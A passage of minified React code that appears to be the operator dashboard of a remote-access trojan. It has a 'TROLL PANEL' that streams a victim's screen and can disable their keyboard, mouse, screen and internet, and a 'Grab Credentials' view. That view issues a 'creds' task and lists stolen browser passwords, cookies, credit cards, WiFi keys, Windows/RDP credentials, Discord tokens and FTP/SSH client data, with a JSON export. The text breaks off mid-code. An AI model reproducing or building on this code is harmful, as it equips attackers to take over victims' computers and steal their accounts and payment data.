100%)"},children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:"w-5 h-5 flex items-center justify-center",style:{background:"rgba(239, 68, 68, 0.1)",border:"1px solid rgba(239, 68, 68, 0.2)"},children:s.jsxs("svg",{className:"w-3 h-3",viewBox:"0 0 24 24",fill:"none",stroke:"#ef4444",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.362 5.214A8.252 8.252 0 0112 21 8.25 8.25 0 016.038 7.048 8.287 8.287 0 009 9.6a8.983 8.983 0 013.361-6.867 8.21 8.21 0 003 2.48z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18a3.75 3.75 0 00.495-7.467 5.99 5.99 0 00-1.925 3.546 5.974 5.974 0 01-2.133-1A3.75 3.75 0 0012 18z"})]})}),s.jsx("span",{className:"font-display text-sm font-semibold tracking-wide text-[#ef4444]/80",children:"TROLL PANEL"})]}),s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:ee&&r?"#22C55E":ee?"#eab308":"#ef4444",boxShadow:ee?"0 0 6px rgba(34,197,94,0.4)":"none"}}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:ee&&r?"LIVE":ee?"BUFFERING":"CONNECTING"})]}),ee&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[s.jsx("span",{className:"text-zerin-accent",children:C.fps})," FPS"]}),o.w>0&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[o.w,"×",o.h]})]})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40",children:"VIEW ONLY"})]}),s.jsxs("div",{className:"flex flex-1 min-h-0 overflow-hidden",children:[s.jsxs("div",{className:"w-[200px] shrink-0 flex flex-col border-r border-[#1a1a20] overflow-y-auto",style:{background:"#0b0b0f"},children:[s.jsx("div",{className:"px-3 pt-3 pb-2",children:s.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase",children:"Actions"})}),s.jsxs("div",{className:"flex flex-col gap-1 px-2 pb-3",children:[s.jsx(Is,{icon:s.jsx(TU,{}),label:"Message Box",desc:"Pop up a dialog",color:"#f59e0b",onClick:()=>h(!0)}),s.jsx(Is,{icon:s.jsx(MU,{}),label:"Text to Speech",desc:"Read text aloud",color:"#8b5cf6",onClick:()=>w(!0)}),s.jsx(Is,{icon:s.jsx(LU,{}),label:"Open Website",desc:"Launch a URL",color:"#06b6d4",onClick:()=>N(!0)}),s.jsx(Is,{icon:s.jsx(IU,{}),label:"Wallpaper",desc:"Change background",color:"#10b981",onClick:()=>T(!0)}),s.jsx(Is,{icon:s.jsx(DU,{}),label:"CD Tray",desc:"Eject disc drive",color:"#ec4899",onClick:()=>ne("troll_cd_tray")})]}),s.jsxs("div",{className:"border-t border-[#1a1a20] px-3 py-3",children:[s.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase block mb-2.5",children:"Toggles"}),s.jsxs("div",{className:"flex flex-col gap-2",children:[s.jsx(Ni,{label:"Taskbar",active:c,color:"#06b6d4",onToggle:me}),s.jsx(Ni,{label:"Swap Mouse",active:V,color:"#f59e0b",onToggle:()=>ve(V,$,"troll_swapmouse"),invert:!0}),s.jsx(Ni,{label:"Sound",active:!L,color:"#8b5cf6",onToggle:()=>ve(L,W,"troll_disablesound")}),s.jsx(Ni,{label:"Screen",active:!B,color:"#ef4444",onToggle:()=>ve(B,U,"troll_blackscreen")}),s.jsx(Ni,{label:"Keyboard",active:!F,color:"#10b981",onToggle:()=>ve(F,H,"troll_disablekeyboard")}),s.jsx(Ni,{label:"Mouse",active:!G,color:"#ec4899",onToggle:()=>ve(G,re,"troll_disablemouse")}),s.jsx(Ni,{label:"Internet",active:!oe,color:"#06b6d4",onToggle:()=>ve(oe,he,"troll_reroutesites")})]})]})]}),s.jsxs("div",{className:"flex-1 flex items-center justify-center relative overflow-hidden",style:{background:"#08080a"},children:[s.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03] z-10",style:{backgroundImage:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.03) 4px)"}}),ee&&r?s.jsx("canvas",{ref:t,className:"max-w-full max-h-full",style:{cursor:"default",aspectRatio:o.w>0?`${o.w}/${o.h}`:void 0,filter:"brightness(0.95)"}}):X?s.jsxs("div",{className:"flex flex-col items-center gap-5",children:[s.jsxs("div",{className:"relative",children:[s.jsx("div",{className:"w-16 h-16 rounded-full border-2 animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.1)",borderTopColor:"rgba(6, 182, 212, 0.6)"}}),s.jsx("div",{className:"absolute inset-0 flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-accent/40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})})]}),s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:ee?"Waiting for frame...":"Connecting to desktop..."}),s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted",children:"View-only stream for live trolling"})]})]}):s.jsxs("div",{className:"flex flex-col items-center gap-5",children:[s.jsx("div",{className:"w-16 h-16 flex items-center justify-center",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:s.jsx("svg",{className:"w-7 h-7 text-zerin-accent/60",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:"Connect to live desktop view?"}),s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mb-4",children:"This will start a VNC session to stream the agent's screen"}),s.jsx("button",{onClick:()=>I(!0),className:"px-4 py-2 text-xs font-semibold text-white transition-all",style:{background:"#06b6d4",boxShadow:"0 0 12px rgba(6,182,212,0.3)"},children:"Connect VNC"})]})]}),d&&s.jsx("div",{className:"absolute bottom-4 left-1/2 -translate-x-1/2 z-20 px-4 py-2 font-mono text-xs animate-fade-in",style:{background:"#111115",border:`1px solid ${d.type==="err"?"rgba(239,68,68,0.3)":"rgba(6,182,212,0.25)"}`,color:d.type==="err"?"#ef4444":"#06b6d4"},children:d.text})]})]}),m&&s.jsxs(Hl,{title:"Message Box",color:"#f59e0b",onClose:()=>h(!1),children:[s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TITLE"}),s.jsx("input",{type:"text",value:x,onChange:J=>g(J.target.value),placeholder:"Window title...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#f59e0b]/30 transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"MESSAGE"}),s.jsx("textarea",{value:y,onChange:J=>v(J.target.value),placeholder:"Enter message...",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#f59e0b]/30 transition-colors`,autoFocus:!0})]})]}),s.jsx(Kl,{onCancel:()=>h(!1),onSend:Ee,color:"#f59e0b",disabled:!y.trim()})]}),b&&s.jsxs(Hl,{title:"Text to Speech",color:"#8b5cf6",onClose:()=>w(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TEXT"}),s.jsx("textarea",{value:j,onChange:J=>k(J.target.value),placeholder:"What should they hear?",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#8b5cf6]/30 transition-colors`,autoFocus:!0})]}),s.jsx(Kl,{onCancel:()=>w(!1),onSend:D,color:"#8b5cf6",disabled:!j.trim()})]}),S&&s.jsxs(Hl,{title:"Open Website",color:"#06b6d4",onClose:()=>N(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"URL"}),s.jsx("input",{type:"text",value:z,onChange:J=>O(J.target.value),placeholder:"https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r placeholder-zerin-text-muted/40 focus:outline-none focus:border-zerin-accent/30 transition-colors`,autoFocus:!0})]}),s.jsx(Kl,{onCancel:()=>N(!1),onSend:ce,color:"#06b6d4",disabled:!z.trim()||z==="https://"})]}),_&&s.jsxs(Hl,{title:"Change Wallpaper",color:"#10b981",onClose:()=>T(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"IMAGE PATH OR URL"}),s.jsx("input",{type:"text",value:P,onChange:J=>R(J.target.value),placeholder:"C:\\path\\to\\image.jpg or https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#10b981]/30 transition-colors`,autoFocus:!0})]}),s.jsx(Kl,{onCancel:()=>T(!1),onSend:K,color:"#10b981",disabled:!P.trim()})]})]})}function Is({icon:e,label:t,desc:n,color:r,onClick:i}){return s.jsxs("button",{onClick:i,className:"group flex items-center gap-3 px-3 py-2.5 text-left transition-all duration-150 hover:translate-x-0.5",style:{background:"transparent"},onMouseEnter:a=>{a.currentTarget.style.background=`${r}08`,a.currentTarget.style.borderLeft=`2px solid ${r}40`,a.currentTarget.style.paddingLeft="10px"},onMouseLeave:a=>{a.currentTarget.style.background="transparent",a.currentTarget.style.borderLeft="none",a.currentTarget.style.paddingLeft="12px"},children:[s.jsx("div",{className:"w-8 h-8 flex items-center justify-center shrink-0 transition-colors",style:{background:`${r}10`,border:`1px solid ${r}20`},children:s.jsx("div",{style:{color:`${r}cc`},children:e})}),s.jsxs("div",{className:"min-w-0",children:[s.jsx("div",{className:"text-[12px] font-medium text-zerin-text-dim group-hover:text-zerin-text transition-colors leading-tight",children:t}),s.jsx("div",{className:"text-[10px] text-zerin-text-muted/50 leading-tight mt-0.5",children:n})]})]})}function Hl({title:e,color:t,onClose:n,children:r}){return s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/70",onClick:n,children:s.jsxs("div",{className:"w-full max-w-sm mx-4 animate-scale-in",style:{background:"#111115",border:`1px solid ${t}25`,boxShadow:`0 0 40px ${t}08`},onClick:i=>i.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b",style:{borderColor:`${t}15`},children:[s.jsx("div",{className:"w-2 h-2 rounded-full",style:{background:t,boxShadow:`0 0 8px ${t}60`}}),s.jsx("span",{className:"font-display text-sm font-semibold",style:{color:t},children:e})]}),s.jsx("div",{className:"p-4 space-y-4",children:r})]})})}function Kl({onCancel:e,onSend:t,color:n,disabled:r}){return s.jsxs("div",{className:"flex items-center justify-end gap-2 pt-1",children:[s.jsx("button",{onClick:e,className:`px-3 py-1.5 text-xs font-medium text-zerin-text-muted\r hover:text-zerin-text-dim bg-[#18181c] hover:bg-[#1f1f25] transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:t,disabled:r,className:`px-4 py-1.5 text-xs font-semibold text-white transition-all\r disabled:opacity-30 disabled:cursor-not-allowed`,style:{background:r?"#333":n,boxShadow:r?"none":`0 0 12px ${n}40`},children:"Send"})]})}function Ni({label:e,active:t,color:n,onToggle:r,invert:i}){const a=t;return s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("span",{className:"text-[11px] text-zerin-text-dim font-medium",children:e}),s.jsx("button",{onClick:r,className:"relative w-9 h-[20px] rounded-full transition-colors duration-200 focus:outline-none",style:{background:a?`${n}30`:"rgba(239, 68, 68, 0.2)",border:`1px solid ${a?`${n}40`:"rgba(239, 68, 68, 0.3)"}`},children:s.jsx("div",{className:"absolute top-[2px] w-3.5 h-3.5 rounded-full transition-all duration-200",style:{left:a?"18px":"2px",background:a?n:"#ef4444",boxShadow:`0 0 6px ${a?`${n}50`:"rgba(239,68,68,0.4)"}`}})})]})}function TU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}function MU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})})}function LU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9.004 9.004 0 008.716-6.747M12 21a9.004 9.004 0 01-8.716-6.747M12 21c2.485 0 4.5-4.03 4.5-9S14.485 3 12 3m0 18c-2.485 0-4.5-4.03-4.5-9S9.515 3 12 3m0 0a8.997 8.997 0 017.843 4.582M12 3a8.997 8.997 0 00-7.843 4.582m15.686 0A11.953 11.953 0 0112 10.5c-2.998 0-5.74-1.1-7.843-2.918m15.686 0A8.959 8.959 0 0121 12c0 .778-.099 1.533-.284 2.253m0 0A17.919 17.919 0 0112 16.5c-3.162 0-6.133-.815-8.716-2.247m0 0A9.015 9.015 0 013 12c0-1.605.42-3.113 1.157-4.418"})})}function IU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 001.5-1.5V6a1.5 1.5 0 00-1.5-1.5H3.75A1.5 1.5 0 002.25 6v12a1.5 1.5 0 001.5 1.5zm10.5-11.25h.008v.008h-.008V8.25zm.375 0a.375.375 0 11-.75 0 .375.375 0 01.75 0z"})})}function DU(){return s.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:[s.jsx("circle",{cx:"12",cy:"12",r:"9"}),s.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}function RU({agentId:e,agentStatus:t,autoGrab:n,onAutoGrabConsumed:r}){var w,j,k,S,N,z,O,_,T,P,R,V,$,L,W,B,U,F,H,G,re,oe,he,pe,Y,ee,C;const[i,a]=p.useState(null),[o,l]=p.useState(!1),[c,u]=p.useState(""),[d,f]=p.useState(new Set),m=t==="dead",h=p.useRef(null);p.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=p.useRef(!1);p.useEffect(()=>{n&&!x.current&&!m&&(x.current=!0,y(),r==null||r())},[n]);const g=E=>{f(X=>{const I=new Set(X);return I.has(E)?I.delete(E):I.add(E),I})},y=p.useCallback(async()=>{if(!m){l(!0),u(""),a(null),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:E}=await Ce(e,{command:"creds"});let X=0;h.current=setInterval(async()=>{var I,ne,me,ve,Ee,D;X++;try{const K=(I=(await Rn(e)).results)==null?void 0:I.find(J=>J.task_id===E);if(K){if(h.current&&clearInterval(h.current),h.current=null,l(!1),K.error){u(K.error);return}if(K.output)try{const J=JSON.parse(K.output);a(J);const le=new Set;(ne=J.chrome_passwords)!=null&&ne.length&&le.add("chrome_passwords"),(me=J.firefox_passwords)!=null&&me.length&&le.add("firefox_passwords"),(ve=J.wifi)!=null&&ve.length&&le.add("wifi"),(Ee=J.windows_credentials)!=null&&Ee.length&&le.add("windows_credentials"),(D=J.discord_tokens)!=null&&D.length&&le.add("discord_tokens"),f(le)}catch{u("Failed to parse credential data")}}else X>=60&&(h.current&&clearInterval(h.current),h.current=null,l(!1),u("Timed out waiting for results"))}catch{}},3e3)}catch(E){l(!1),u(E instanceof Error?E.message:"Failed to submit task")}}},[e,m]),v=E=>{navigator.clipboard.writeText(E).catch(()=>{})},b=()=>{if(!i)return;const E=new Blob([JSON.stringify(i,null,2)],{type:"application/json"}),X=URL.createObjectURL(E),I=document.createElement("a");I.href=X,I.download=`credentials_${e.slice(0,8)}.json`,I.click(),URL.revokeObjectURL(X)};return s.jsxs("div",{className:"p-6 animate-fade-in space-y-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:y,disabled:o||m,className:`inline-flex items-center gap-2 text-sm font-medium\r bg-zerin-accent hover:bg-zerin-accent-hover text-white\r px-4 py-2 transition-colors\r disabled:opacity-30 disabled:cursor-not-allowed`,children:o?s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}),"Grabbing..."]}):s.jsxs(s.Fragment,{children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),"Grab Credentials"]})}),i&&s.jsxs("button",{onClick:b,className:`inline-flex items-center gap-1.5 text-sm font-medium\r text-zerin-text-dim hover:text-zerin-text\r bg-zerin-panel hover:bg-zerin-panel-hover\r border border-zerin-panel-border\r px-3 py-2 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export JSON"]}),m&&s.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),c&&s.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-4 py-3 text-sm text-zerin-danger",children:c}),i&&s.jsxs("div",{className:"space-y-2",children:[s.jsx($r,{title:"Browser Passwords",count:(((w=i.chrome_passwords)==null?void 0:w.length)??0)+(((j=i.firefox_passwords)==null?void 0:j.length)??0),expanded:d.has("chrome_passwords")||d.has("firefox_passwords"),onToggle:()=>{g("chrome_passwords"),g("firefox_passwords")},children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].length===0?s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].map((E,X)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:E.browser??"Firefox"}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:E.url}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.username),children:E.username}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.password),children:E.password?"••••••••":""})]},X))})]})}),s.jsx($r,{title:"Browser Cookies",count:((k=i.chrome_cookies)==null?void 0:k.length)??0,expanded:d.has("chrome_cookies"),onToggle:()=>g("chrome_cookies"),children:(S=i.chrome_cookies)!=null&&S.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cookies.map((E,X)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:E.browser}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:E.host}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:E.name}),s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.value),children:[E.value.slice(0,40),"..."]})]},X))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),s.jsx($r,{title:"Credit Cards",count:((N=i.chrome_cards)==null?void 0:N.length)??0,expanded:d.has("chrome_cards"),onToggle:()=>g("chrome_cards"),children:(z=i.chrome_cards)!=null&&z.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cards.map((E,X)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:E.browser}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:E.name}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.number),children:E.number}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:E.exp})]},X))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),s.jsx($r,{title:"WiFi Passwords",count:((O=i.wifi)==null?void 0:O.length)??0,expanded:d.has("wifi"),onToggle:()=>g("wifi"),children:(_=i.wifi)!=null&&_.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.wifi.map((E,X)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:E.ssid}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:E.auth}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.password),children:E.password||"(none)"})]},X))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),s.jsx($r,{title:"Windows Credentials",count:((T=i.windows_credentials)==null?void 0:T.length)??0,expanded:d.has("windows_credentials"),onToggle:()=>g("windows_credentials"),children:(P=i.windows_credentials)!=null&&P.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.windows_credentials.map((E,X)=>s.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${E.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[E.is_rdp&&s.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),E.target]}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.username),children:E.username}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(E.password),children:E.password?"••••••••":""}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:E.type})]},X))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),s.jsx($r,{title:"Discord Tokens",count:((R=i.discord_tokens)==null?void 0:R.length)??0,expanded:d.has("discord_tokens"),onToggle:()=>g("discord_tokens"),children:(V=i.discord_tokens)!=null&&V.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.discord_tokens.map((E,X)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:E.source}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:E.type}),s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:()=>v(E.token),children:[E.token.slice(0,20),"..."]})]},X))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),s.jsx($r,{title:"Applications",count:(($=i.telegram)!=null&&$.found?1:0)+(((L=i.filezilla)==null?void 0:L.length)??0)+(((W=i.winscp)==null?void 0:W.length)??0)+(((B=i.putty)==null?void 0:B.length)??0)+(((U=i.outlook)==null?void 0:U.length)??0),expanded:d.has("apps"),onToggle:()=>g("apps"),children:s.jsxs("div",{className:"space-y-3 p-4",children:[i.telegram&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),i.telegram.found?s.jsxs("p",{className:"text-xs text-zerin-text font-mono",children:["Found at: ",s.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:()=>v(i.telegram.path),children:i.telegram.path})]}):s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Not 